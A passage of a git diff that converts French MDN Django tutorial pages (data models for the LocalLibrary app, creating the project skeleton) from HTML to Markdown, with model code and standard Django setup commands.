(\_\_) . Si par exemple vous souhaitez trouver un livre (`Book`) qui possède différents type (`type`) de couvertures (`cover`) identifiées par des noms (`name`) alors le chemin sera du type : `type__cover__name__exact='hard'.` -<p>La mise en oeuvre des requêtes est très riches en fonction des modèles et des relations, de sous-ensemble de données, etc. Pour une informations détaillées, vous devez consulter <a href="https://docs.djangoproject.com/fr/2.2/topics/db/queries/">les requêtes</a> sur le site de référence de Django.</p> +La mise en oeuvre des requêtes est très riches en fonction des modèles et des relations, de sous-ensemble de données, etc. Pour une informations détaillées, vous devez consulter [les requêtes](https://docs.djangoproject.com/fr/2.2/topics/db/queries/) sur le site de référence de Django. -<h2 id="Définition_du_modèle_de_données_de_lapplication_LocalLibrary">Définition du modèle de données de l'application LocalLibrary</h2> +## Définition du modèle de données de l'application LocalLibrary -<p>Cette section est consacrée au démarrage de la définition de l'application LocalLibrary qui permet de gérer une petite bibliothèque locale. Ouvrez le fichier <em>models.py </em>présent dans le répertoire<em> /locallibrary/catalog/</em>. Le code par défaut est déjà en place au début du document et permet d'importer les éléments du module models de django.</p> +Cette section est consacrée au démarrage de la définition de l'application LocalLibrary qui permet de gérer une petite bibliothèque locale. Ouvrez le fichier _models.py_ présent dans le répertoire _/locallibrary/catalog/_. Le code par défaut est déjà en place au début du document et permet d'importer les éléments du module models de django. -<pre class="brush: python">from django.db import models +```python +from django.db import models -# Create your models here.</pre> +# Create your models here. +``` -<h3 id="Lobjet_Genre">L'objet Genre</h3> +### L'objet Genre -<p>Cet objet est utilisé pour décrire et enregistrer le genre littéraire des livres — par exemple une fiction, une polard ou un roman. Comme cela a été évoqué précédemment, nous créons un modèle de données plutôt que de gérer cela à l'aide de texte libre ou de codage en dur. Copiez le texte ci-dessous à la fin du fichier <em>models.py</em>.</p> +Cet objet est utilisé pour décrire et enregistrer le genre littéraire des livres — par exemple une fiction, une polard ou un roman. Comme cela a été évoqué précédemment, nous créons un modèle de données plutôt que de gérer cela à l'aide de texte libre ou de codage en dur. Copiez le texte ci-dessous à la fin du fichier _models.py_. -<pre class="brush: python">class Genre(models.Model): +```python +class Genre(models.Model): """Cet objet représente une catégorie ou un genre littéraire.""" name = models.CharField(max_length=200, help_text='Enter a book genre (e.g. Science Fiction)') def __str__(self): """Cette fonction est obligatoirement requise par Django. Elle retourne une chaîne de caractère pour identifier l'instance de la classe d'objet.""" - return self.name</pre> + return self.name +``` -<p>L'objet, en relation avec la base de données, possède un seul attribut (<code>name</code>) de type chaîne de caractères (<code>CharField</code>), qui sera utilisé pour décrire le genre d'un livre (limité à 200 caractères). Une option (<code>help_text)</code> permet d'utiliser une étiquettes d'aide dans les pages et formulaires du site web. La méthode <code>__str__()</code>, qui retourne simplement le nom du genre littéraire de chaque enregistrement. Puisque qu'il n'y a pas de nom vernaculaire (<code>verbose_name</code>), le champ sera simplement nommé <code>Name</code> dans les formulaires.</p> +L'objet, en relation avec la base de données, possède un seul attribut (`name`) de type chaîne de caractères (`CharField`), qui sera utilisé pour décrire le genre d'un livre (limité à 200 caractères). Une option (`help_text)` permet d'utiliser une étiquettes d'aide dans les pages et formulaires du site web. La méthode `__str__()`, qui retourne simplement le nom du genre littéraire de chaque enregistrement. Puisque qu'il n'y a pas de nom vernaculaire (`verbose_name`), le champ sera simplement nommé `Name` dans les formulaires. -<h3 id="Lobjet_Book">L'objet Book</h3> +### L'objet Book -<p>Comme précédemment, vous pouvez copier le descriptif de l'objet Book à la fin du fichier models.py. Cet objet représente un livre dans sa description et non une copie en rayon disponible au prêt. Par conséquent, l'objet contient un titre et son identifiant international (isbn dont on notera l'étiquette en majuscule pour ne pas avoir "Isbn" à la place) sous forme de chaînes de caractère. De plus, l'objet contient un résumé sous forme d'une chaîne de caractère de longueur non explicite pour traiter de résumés plus ou moins long.</p> +Comme précédemment, vous pouvez copier le descriptif de l'objet Book à la fin du fichier models.py. Cet objet représente un livre dans sa description et non une copie en rayon disponible au prêt. Par conséquent, l'objet contient un titre et son identifiant international (isbn dont on notera l'étiquette en majuscule pour ne pas avoir "Isbn" à la place) sous forme de chaînes de caractère. De plus, l'objet contient un résumé sous forme d'une chaîne de caractère de longueur non explicite pour traiter de résumés plus ou moins long. -<pre class="brush: python">from django.urls import reverse # Cette fonction est utilisée pour formater les URL +```python +from django.urls import reverse # Cette fonction est utilisée pour formater les URL class Book(models.Model): """Cet objet représente un livre (mais ne traite pas les copies présentes en rayon).""" @@ -291,7 +301,7 @@ class Book(models.Model): author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True) summary = models.TextField(max_length=1000, help_text='Enter a brief description of the book') - isbn = models.CharField('ISBN', max_length=13, help_text='13 Character <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>') + isbn = models.CharField('ISBN', max_length=13, help_text='13 Character <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>') # Le type ManyToManyField décrit correctement le modèle de relation en un livre et un genre. # un livre peut avoir plusieurs genres littéraire et réciproquement. @@ -305,26 +315,25 @@ class Book(models.Model): def get_absolute_url(self): """Cette fonction est requise pas Django, lorsque vous souhaitez détailler le contenu d'un objet.""" return reverse('book-detail', args=[str(self.id)]) -</pre> +``` -<p>Le genre littéraire est une relation n à n (<code>ManyToManyField</code>) car un livre peut avoir plusieurs genres et inversement. Bien que des livres soient écrits à plusieurs, dans le modèle de données présent un livre n'aura qu'un et un seul auteur. Un auteur est donc vu comme une clé étrangère <code>(ForeignKey</code>) de telle sorte qu'un livre n'a qu'un seul auteur et une auteur peut avoir écrit plusieurs livres.</p> +Le genre littéraire est une relation n à n (`ManyToManyField`) car un livre peut avoir plusieurs genres et inversement. Bien que des livres soient écrits à plusieurs, dans le modèle de données présent un livre n'aura qu'un et un seul auteur. Un auteur est donc vu comme une clé étrangère `(ForeignKey`) de telle sorte qu'un livre n'a qu'un seul auteur et une auteur peut avoir écrit plusieurs livres. -<p>La modélisation des relations entre les objets, c'est le cas pour les deux champs décrits à l'instant, nécessite de manipuler les classes d'objet par leur nom de classe. Vous devez déclarer l'objet par son de classe dans la déclaration de la relation entre les objets, si celui-ci a déjà été déclaré vous pouvez l'utiliser comme un nom d'objet - à l'identique d'une variable Python - ou comme une chaîne de caractère si l'objet n'a pas déjà fait l'objet d'un déclaration. les autres paramètres dans la déclaration des relations permettent de spécifier les comportement des attributs : l'option <code>null</code> positionné à <code>True</code> permet d'avoir un contenu vide en base de données, la second option<code> on_delete=models.SET_NULL</code> qualifie le fonctionnement de cet attribut si l'objet est supprimé en base de données, en l'occurence il peut être positionné à vide en base de données.</p> +La modélisation des relations entre les objets, c'est le cas pour les deux champs décrits à l'instant, nécessite de manipuler les classes d'objet par leur nom de classe. Vous devez déclarer l'objet par son de classe dans la déclaration de la relation entre les objets, si celui-ci a déjà été déclaré vous pouvez l'utiliser comme un nom d'objet - à l'identique d'une variable Python - ou comme une chaîne de caractère si l'objet n'a pas déjà fait l'objet d'un déclaration. les autres paramètres dans la déclaration des relations permettent de spécifier les comportement des attributs : l'option `null` positionné à `True` permet d'avoir un contenu vide en base de données, la second option` on_delete=models.SET_NULL` qualifie le fonctionnement de cet attribut si l'objet est supprimé en base de données, en l'occurence il peut être positionné à vide en base de données. -<p>Deux méthodes sont déclarées pour cet objet. La méthode <code>__str__()</code> obligatoirement requise par Django pour manipuler les instances d'objet et les enregistrements associés en base. La seconde méthode, <code>get_absolute_url()</code>, retourne une URL formatée qui peut être utilisée par le cadriciel pour délivrer le détail de chaque instance d'objet de la classe. Le routage d'URL sera associé au nom <code>book-detail</code>, et nous aurons à définir une vue et un gabarit.</p> +Deux méthodes sont déclarées pour cet objet. La méthode `__str__()` obligatoirement requise par Django pour manipuler les instances d'objet et les enregistrements associés en base. La seconde méthode, `get_absolute_url()`, retourne une URL formatée qui peut être utilisée par le cadriciel pour délivrer le détail de chaque instance d'objet de la classe. Le routage d'URL sera associé au nom `book-detail`, et nous aurons à définir une vue et un gabarit. -<h3 id="Lobjet_BookInstance">L'objet BookInstance</h3> +### L'objet BookInstance -<p>Occupons nous maintenant de l'objet <code>BookInstance</code>. Comme précédemment, copiez le contenu décrivant l'objet BookInstance ci-dessous dans votre fichier <em>models.py</em>. La classe d'objets décrit une copie d'un ouvrage qu'un individu peut physiquement emprunter. Elle prend en compte les éléments d'information qui permettent de l'identifier individuellement et de connaître son statut à chaque instant ainsi que la date de retour du prêt.</p> +Occupons nous maintenant de l'objet `BookInstance`. Comme précédemment, copiez le contenu décrivant l'objet BookInstance ci-dessous dans votre fichier _models.py_. La classe d'objets décrit une copie d'un ouvrage qu'un individu peut physiquement emprunter. Elle prend en compte les éléments d'information qui permettent de l'identifier individuellement et de connaître son statut à chaque instant ainsi que la date de retour du prêt. -<p>Les attributs et méthodes vont vous paraître familiers. On utilise :</p> +Les attributs et méthodes vont vous paraître familiers. On utilise : -<ul> - <li>une clè étrangère (<code>ForeignKey</code>) pour modéliser la relation avec le livre (un livre disposant de plusieurs copies).</li> - <li>Une chaîne de caractères (<code>CharField)</code> pour enregistrer les mentions légales (imprint) du livre.</li> -</ul> +- une clè étrangère (`ForeignKey`) pour modéliser la relation avec le livre (un livre disposant de plusieurs copies). +- Une chaîne de caractères (`CharField)` pour enregistrer les mentions légales (imprint) du livre. -<pre class="brush: python">import uuid # Ce module est nécessaire à la gestion des identifiants unique (RFC 4122) pour les copies des livres +```python +import uuid # Ce module est nécessaire à la gestion des identifiants unique (RFC 4122) pour les copies des livres class BookInstance(models.Model): """Cet objet permet de modéliser les copies d'un ouvrage (i.e. qui peut être emprunté).""" @@ -353,33 +362,29 @@ class BookInstance(models.Model): def __str__(self): """Fonction requise par Django pour manipuler les objets Book dans la base de données.""" - return f'{self.id} ({self.book.title})'</pre> - -<p>De nouveaux types de champs sont utilisés :</p> + return f'{self.id} ({self.book.title})' +``` -<ul> - <li>Le type <code>UUIDField</code> est utilisé pour traiter d'un identifiant unique de livre comme clé primaire. Ce type de champ permet de générer un identifiant unique pour enregistrer et suivre chacune des copies de chacun des livres.</li> - <li>Le type <code>DateField</code> est utilisé pour enregistrer la date de retour d'un prêt. Ce champ peut-être vide pour gérer le cas des livres dans les rayonnages c'est-à-dire disponibles pour un prêt. Il est fait appel à la classe <code>Meta</code> pour permettre de classer les requêtes sur les objet par date de retr</li> - <li>our.</li> - <li>Le champ <code>status</code> est un type connu (<code>CharField</code>) qui définit une liste de choix. Les choix sont définis dans la description de l'objet par l'usage de tuples (une paire clé-valeur) et transmis en option dans la déclaration du champs. Alors que l'utilisateur manipulera les valeurs, les clés seront enregistrées dans la base de données. Enfin, la valeur par défaut est la Maintenance car lorsqu'un ouvrage est créé il n'est pas immédiatement disponible au prêt et n'est pas directement positionné en rayon.</li> -</ul> +De nouveaux types de champs sont utilisés : -<p>La méthode <code>__str__()</code> obligatoirement requise par Django pour manipuler les instances d'objet et les enregistrements associés en base. Elle offre cependant la particularité d'associer l'identifiant unique et le titre du livre qui lui est associé.</p> +- Le type `UUIDField` est utilisé pour traiter d'un identifiant unique de livre comme clé primaire. Ce type de champ permet de générer un identifiant unique pour enregistrer et suivre chacune des copies de chacun des livres. +- Le type `DateField` est utilisé pour enregistrer la date de retour d'un prêt. Ce champ peut-être vide pour gérer le cas des livres dans les rayonnages c'est-à-dire disponibles pour un prêt. Il est fait appel à la classe `Meta` pour permettre de classer les requêtes sur les objet par date de retr +- our. +- Le champ `status` est un type connu (`CharField`) qui définit une liste de choix. Les choix sont définis dans la description de l'objet par l'usage de tuples (une paire clé-valeur) et transmis en option dans la déclaration du champs. Alors que l'utilisateur manipulera les valeurs, les clés seront enregistrées dans la base de données. Enfin, la valeur par défaut est la Maintenance car lorsqu'un ouvrage est créé il n'est pas immédiatement disponible au prêt et n'est pas directement positionné en rayon. -<div class="note"> -<p><strong>Note :</strong> Un aspect de Python:</p> +La méthode `__str__()` obligatoirement requise par Django pour manipuler les instances d'objet et les enregistrements associés en base. Elle offre cependant la particularité d'associer l'identifiant unique et le titre du livre qui lui est associé. -<ul> - <li>Si vous démarrez avec une version postérieure à la version 3.6, vous pouvez utiliser le formatage des chaînes de caractère avec la fonction f-strings : <code>f'{self.id} ({self.book.title})'</code>.</li> - <li>Dans les versions précédente ce formatage était réalisé de manière différente utilisant la fonction de formatage format : <code>'{0} ({1})'.format(self.id,self.book.title)</code>).</li> -</ul> -</div> +> **Note :** Un aspect de Python: +> +> - Si vous démarrez avec une version postérieure à la version 3.6, vous pouvez utiliser le formatage des chaînes de caractère avec la fonction f-strings : `f'{self.id} ({self.book.title})'`. +> - Dans les versions précédente ce formatage était réalisé de manière différente utilisant la fonction de formatage format : `'{0} ({1})'.format(self.id,self.book.title)`). -<h3 id="Lobjet_Author">L'objet Author</h3> +### L'objet Author -<p>Terminons en copiant la description de l'objet <code>Author</code> à la fin du fichier <strong>models.py</strong>.</p> +Terminons en copiant la description de l'objet `Author` à la fin du fichier **models.py**. -<pre class="brush: python">class Author(models.Model): +```python +class Author(models.Model): """Model representing an author.""" first_name = models.CharField(max_length=100) last_name = models.CharField(max_length=100) @@ -396,67 +401,61 @@ class BookInstance(models.Model): def __str__(self): """String for representing the Model object.""" return f'{self.last_name}, {self.first_name}' -</pre> +``` -<p>Désormais les notions manipulées pour définir cet objet vous sont connues. L'objet réprésente un auteur par ses nom et prénoms ainsi que par ses dates de naissance et de décès (celles-ci n'étant pas obligatoires). Deux méthodes permettent l'une d'accéder à l'objet de manière compréhensible (<code>__str__()</code>) en retournant les nom et prénom de l'auteur dans cet ordre, et, l'autre (<code>get_absolute_url()</code>) permettra de publier les informations propres à chaque auteur.</p> +Désormais les notions manipulées pour définir cet objet vous sont connues. L'objet réprésente un auteur par ses nom et prénoms ainsi que par ses dates de naissance et de décès (celles-ci n'étant pas obligatoires). Deux méthodes permettent l'une d'accéder à l'objet de manière compréhensible (`__str__()`) en retournant les nom et prénom de l'auteur dans cet ordre, et, l'autre (`get_absolute_url()`) permettra de publier les informations propres à chaque auteur. -<h2 id="Appliquer_les_modifications_en_base">Appliquer les modifications en base</h2> +## Appliquer les modifications en base -<p>Les objets sont tous décrits dans le fichier dédié à la modélisation. Pour qu'elles soient effectives, il est nécessaire d'exécuter les deux commandes python qui gèrent les migrations de la base de données.</p> +Les objets sont tous décrits dans le fichier dédié à la modélisation. Pour qu'elles soient effectives, il est nécessaire d'exécuter les deux commandes python qui gèrent les migrations de la base de données. -<pre>python3 manage.py makemigrations -python3 manage.py migrate</pre> + python3 manage.py makemigrations + python3 manage.py migrate -<h2 id="Défi_—_Introduire_les_langues">Défi — Introduire les langues</h2> +## Défi — Introduire les langues -<p>Faisons l'hypothèse qu'un donateur lègue à la bibliothèque des livres dont certains sont écrits dans des langues étrangères comme le Farsi (langue majoritaire en Iran). Le défi consiste donc à modéliser puis utiliser la meilleure représentation possible de ce concept pour la bibliothèque.</p> +Faisons l'hypothèse qu'un donateur lègue à la bibliothèque des livres dont certains sont écrits dans des langues étrangères comme le Farsi (langue majoritaire en Iran). Le défi consiste donc à modéliser puis utiliser la meilleure représentation possible de ce concept pour la bibliothèque. -<p>Gardez en tête que :</p> +Gardez en tête que : -<ul> - <li>Une langue peut-être associée à plusieurs objets dont au moins <code>Book</code>, <code>BookInstance</code></li> - <li>Plusieurs types peuvent être utiliser pour modéliser une langue un objet, un champs, ou explicitement dans le code à l'aide d'une liste de choix</li> -</ul> +- Une langue peut-être associée à plusieurs objets dont au moins `Book`, `BookInstance` +- Plusieurs types peuvent être utiliser pour modéliser une langue un objet, un champs, ou explicitement dans le code à l'aide d'une liste de choix -<p>Après avoir fait vos choix, modéliser le et ajouter les champs utiles. Vous pouvez ensuite voir sur <a href="https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py">Github nous l'avons fait</a>.</p> +Après avoir fait vos choix, modéliser le et ajouter les champs utiles. Vous pouvez ensuite voir sur [Github nous l'avons fait](https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py). -<p>Une dernière chose... n'oubliez pas d'appliquer les modifications en base de données</p> +Une dernière chose... n'oubliez pas d'appliquer les modifications en base de données -<pre>python3 manage.py makemigrations -python3 manage.py migrate</pre> + python3 manage.py makemigrations + python3 manage.py migrate -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Cet article est consacré à la création des objets et leur lien en base de données ainsi qu'à leur gestion. Il s'appuie sur l'exemple de la bibliothèque locale pour lequel nous décrivons le design du modèle relationnel et la manière de l'implementer avec une description d'objet Python conforme au standard du cadriciel Django.</p> +Cet article est consacré à la création des objets et leur lien en base de données ainsi qu'à leur gestion. Il s'appuie sur l'exemple de la bibliothèque locale pour lequel nous décrivons le design du modèle relationnel et la manière de l'implementer avec une description d'objet Python conforme au standard du cadriciel Django. -<p>A ce stade, il est prématuré de créer le site web, nous allons simplement utiliser le site d'administration qui permet d'ajouter et de manipuler des données. Nous afficherons ces informations ensuite en créant des vues et de gabarits.</p> +A ce stade, il est prématuré de créer le site web, nous allons simplement utiliser le site d'administration qui permet d'ajouter et de manipuler des données. Nous afficherons ces informations ensuite en créant des vues et de gabarits. -<h2 id="A_voir_aussi">A voir aussi</h2> +## A voir aussi -<ul> - <li><a href="https://docs.djangoproject.com/fr/2.2/intro/tutorial02/">Ecriture de votre première application Django, Deuxième partie</a> (Documentation Django)</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/topics/db/queries/">Création de requêtes</a> (Documentation Django)</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/models/querysets/">Référence de l'API QuerySet</a> (Documentation Django)</li> -</ul> +- [Ecriture de votre première application Django, Deuxième partie](https://docs.djangoproject.com/fr/2.2/intro/tutorial02/) (Documentation Django) +- [Création de requêtes](https://docs.djangoproject.com/fr/2.2/topics/db/queries/) (Documentation Django) +- [Référence de l'API QuerySet](https://docs.djangoproject.com/fr/2.2/ref/models/querysets/) (Documentation Django) -<p>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</p> +{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Didactique: Site web "Bibliothèque locale"</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Django didactique Section 2: Créer le squelette du site web</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Models">Django didactique Section 3: Utilisation des modèles de données</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Admin_site">Django didactique Section 4 : Site d'administration de Django</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Home_page">Django didactique Section 5: Créer la page d'accueil</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> -</ul> +- [Django introduction](/fr/docs/Learn/Server-side/Django/Introduction) +- [Setting up a Django development environment](/fr/docs/Learn/Server-side/Django/development_environment) +- [Django Didactique: Site web "Bibliothèque locale"](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) +- [Django didactique Section 2: Créer le squelette du site web](/fr/docs/Learn/Server-side/Django/skeleton_website) +- [Django didactique Section 3: Utilisation des modèles de données](/fr/docs/Learn/Server-side/Django/Models) +- [Django didactique Section 4 : Site d'administration de Django](/fr/docs/Learn/Server-side/Django/Admin_site) +- [Django didactique Section 5: Créer la page d'accueil](/fr/docs/Learn/Server-side/Django/Home_page) +- [Django Tutorial Part 6: Generic list and detail views](/fr/docs/Learn/Server-side/Django/Generic_views) +- [Django Tutorial Part 7: Sessions framework](/fr/docs/Learn/Server-side/Django/Sessions) +- [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/Authentication) +- [Django Tutorial Part 9: Working with forms](/fr/docs/Learn/Server-side/Django/Forms) +- [Django Tutorial Part 10: Testing a Django web application](/fr/docs/Learn/Server-side/Django/Testing) +- [Django Tutorial Part 11: Deploying Django to production](/fr/docs/Learn/Server-side/Django/Deployment) +- [Django web application security](/fr/docs/Learn/Server-side/Django/web_application_security) +- [DIY Django mini blog](/fr/docs/Learn/Server-side/Django/django_assessment_blog) diff --git a/files/fr/learn/server-side/django/skeleton_website/index.md b/files/fr/learn/server-side/django/skeleton_website/index.md index 636b371873..1fbf8b8bd3 100644 --- a/files/fr/learn/server-side/django/skeleton_website/index.md +++ b/files/fr/learn/server-side/django/skeleton_website/index.md @@ -13,191 +13,199 @@ tags: - django translation_of: Learn/Server-side/Django/skeleton_website --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}} -<div>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</div> - -<p>Ce second article de la série <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">didactique Django</a> va décrire comment créer le squelette du site web du projet. Ensuite, vous pourrez paramètrer et développer les composants spécifiques comme les modèles de données, les vues, les gabarits, les formulaires...</p> +Ce second article de la série [didactique Django](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) va décrire comment créer le squelette du site web du projet. Ensuite, vous pourrez paramètrer et développer les composants spécifiques comme les modèles de données, les vues, les gabarits, les formulaires... <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td><a href="/fr/docs/Learn/Server-side/Django/development_environment">Set up a Django development environment</a>. Avoir pris connaissance de <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">l'article précédent</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs:</th> - <td>Être capable d'utiliser les outils de Django pour initier un nouveau projet.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + <a href="/fr/docs/Learn/Server-side/Django/development_environment" + >Set up a Django development environment</a + >. Avoir pris connaissance de + <a + href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website" + >l'article précédent</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs:</th> + <td> + Être capable d'utiliser les outils de Django pour initier un nouveau + projet. + </td> + </tr> + </tbody> </table> -<h2 id="Vue_densemble">Vue d'ensemble</h2> +## Vue d'ensemble + +Cet article décrit comment créer le squelette du site web du projet. Ensuite, vous pourrez paramètrer et développer les composants spcifiques comme les modèles de données, vues, formulaires... qui chacun seront vus plus en details dans les articles suivants. + +La création est aisée: -<p>Cet article décrit comment créer le squelette du site web du projet. Ensuite, vous pourrez paramètrer et développer les composants spcifiques comme les modèles de données, vues, formulaires... qui chacun seront vus plus en details dans les articles suivants.</p> +1. Utilisez la commande `django-admin` pour créer le dossier du projet ainsi que les sous-dossiers et fichiers de base ainsi que le script de gestion du projet (**manage.py**). +2. Utilisez **manage.py** pour créer une ou plusieurs _applications_ du projet. -<p>La création est aisée:</p> + > **Note :** Un site web consiste en une ou plusieurs sections, par exemple un site principal, un blog, un wiki,... La bonne pratique avec Django est de réaliser chacun des composants comme des applications séparées qui pourront éventuellement être réutilisées dans d'autres projets. -<ol> - <li>Utilisez la commande <code>django-admin</code> pour créer le dossier du projet ainsi que les sous-dossiers et fichiers de base ainsi que le script de gestion du projet (<strong>manage.py</strong>).</li> - <li>Utilisez <strong>manage.py</strong> pour créer une ou plusieurs <em>applications</em> du projet. - <div class="note"> - <p><strong>Note :</strong> Un site web consiste en une ou plusieurs sections, par exemple un site principal, un blog, un wiki,... La bonne pratique avec Django est de réaliser chacun des composants comme des applications séparées qui pourront éventuellement être réutilisées dans d'autres projets.</p> - </div> - </li> - <li>Enregistrez la nouvelle application dans le projet. </li> - <li>Liez les urls et chemins pour chaque application.</li> -</ol> +3. Enregistrez la nouvelle application dans le projet. +4. Liez les urls et chemins pour chaque application. -<p>Pour <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">le site web "Bibliothèque locale"</a>, le dossier du site web et celui du projet auront le même nom <em>locallibrary</em>. Une seule application <em>catalog</em> sera utilisée. La hiérachie de dossier du projet à la forme ci-dessous :</p> +Pour [le site web "Bibliothèque locale"](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website), le dossier du site web et celui du projet auront le même nom _locallibrary_. Une seule application _catalog_ sera utilisée. La hiérachie de dossier du projet à la forme ci-dessous : -<pre class="brush: bash"><em>locallibrary/ # Website folder</em> - <strong>manage.py </strong># Script to run Django tools for this project (created using django-admin) - <em>locallibrary/ # Website/project folder </em>(created using django-admin) - <em>catalog/ # Application folder </em>(created using manage.py) -</pre> +```bash +locallibrary/ # Website folder + manage.py # Script to run Django tools for this project (created using django-admin) + locallibrary/ # Website/project folder (created using django-admin) + catalog/ # Application folder (created using manage.py) +``` -<div class="note"> -<p><strong>Note :</strong> Afin de respecter la cohérence du code et pouvoir utiliser les développements sur GitHub, les noms du site et des applications, <em>en anglais</em>, n'ont pas été modifiés.</p> -</div> +> **Note :** Afin de respecter la cohérence du code et pouvoir utiliser les développements sur GitHub, les noms du site et des applications, _en anglais_, n'ont pas été modifiés. -<p>La suite de ce chapitre est consacrée pas à pas aux étapes de création d'un projet et d'une application. La fin du chapitre sera consacré à quelques éléments de configuration du site qui peuvent être réalisés à ce stade.</p> +La suite de ce chapitre est consacrée pas à pas aux étapes de création d'un projet et d'une application. La fin du chapitre sera consacré à quelques éléments de configuration du site qui peuvent être réalisés à ce stade. -<h2 id="Créer_le_projet_locallibrary">Créer le projet <em>locallibrary</em></h2> +## Créer le projet _locallibrary_ -<p>Tout d'abord, il est nécessaire d'ouvrir une fenêtre pour exécuter des commandes en ligne (un terminal sous Linux/MacOS ou une fenêtre command sous Windows). Assurez-vous d'être dans un <a href="/fr/docs/Learn/Server-side/Django/development_environment#Using_a_virtual_environment">environnement virtuel python</a>, déplacez-vous dans votre arborescence de dossiers pour être dans votre zone de développement des applications Django. Créez-y un sous-dossier pour les projets Django <code>django_projects</code> et déplacez-vous dans ce dernier :</p> +Tout d'abord, il est nécessaire d'ouvrir une fenêtre pour exécuter des commandes en ligne (un terminal sous Linux/MacOS ou une fenêtre command sous Windows). Assurez-vous d'être dans un [environnement virtuel python](/fr/docs/Learn/Server-side/Django/development_environment#Using_a_virtual_environment), déplacez-vous dans votre arborescence de dossiers pour être dans votre zone de développement des applications Django. Créez-y un sous-dossier pour les projets Django `django_projects` et déplacez-vous dans ce dernier : -<pre class="brush: bash">mkdir django_projects -cd django_projects</pre> +```bash +mkdir django_projects +cd django_projects +``` -<p>Pour créer un nouveau projet avec le quadriciel Django, il suffit d'utiliser la commande <code>django-admin startproject</code>. Le résultat de cette commande sera un sous-dossier du nom du projet dans lequel il suffit de s'y déplacer comme indiqué ci-dessous :</p> +Pour créer un nouveau projet avec le quadriciel Django, il suffit d'utiliser la commande `django-admin startproject`. Le résultat de cette commande sera un sous-dossier du nom du projet dans lequel il suffit de s'y déplacer comme indiqué ci-dessous : -<pre class="brush: bash">django-admin startproject locallibrary -cd locallibrary</pre> +```bash +django-admin startproject locallibrary +cd locallibrary +``` -<p>La commande <code>django-admin</code> crée une arboresence contenant des fichiers et un sous-dossier portant le même nom que le projet :</p> +La commande `django-admin` crée une arboresence contenant des fichiers et un sous-dossier portant le même nom que le projet : -<pre class="brush: bash"><em>locallibrary/</em> +```bash +locallibrary/ manage.py - <em>locallibrary/</em> + locallibrary/ __init__.py settings.py urls.py - wsgi.py</pre> + wsgi.py +``` -<p>Votre répertoire de travail est de la forme :</p> +Votre répertoire de travail est de la forme : -<pre class="syntaxbox">../django_projects/locallibrary/</pre> + ../django_projects/locallibrary/ -<p>Le sous-dossier <em>locallibrary</em> permettra de gérer les requêtes web, il contient :</p> +Le sous-dossier _locallibrary_ permettra de gérer les requêtes web, il contient : -<ul> - <li><strong>__init__.py </strong>est un fichier vide qui indique au langage Python de considérer ce dossier comme un module Python.</li> - <li><strong>settings.py</strong> contient les paramètrages du site web. C'est ce fichier qui permet de contrôler l'enregistrement des applications créées - qui va être exposé plus bas -, la configuration de la base de données ou des variables globales au site. </li> - <li><strong>urls.py</strong> contient les indications de routage des urls du site web. Alors qu'il pourraient contenir toutes les urls, nous verrons plus loin qu'ils est plus pratique de déléguer la gestion des urls à propre à chacune des applications dans le contexte de l'application. </li> - <li><strong>wsgi.py</strong> est utilisé pour la gestion de l'interface entre Python et le serveur web. Il est recommandé de ne pas y toucher.</li> -</ul> +- **\_\_init\_\_.py** est un fichier vide qui indique au langage Python de considérer ce dossier comme un module Python. +- **settings.py** contient les paramètrages du site web. C'est ce fichier qui permet de contrôler l'enregistrement des applications créées - qui va être exposé plus bas -, la configuration de la base de données ou des variables globales au site. +- **urls.py** contient les indications de routage des urls du site web. Alors qu'il pourraient contenir toutes les urls, nous verrons plus loin 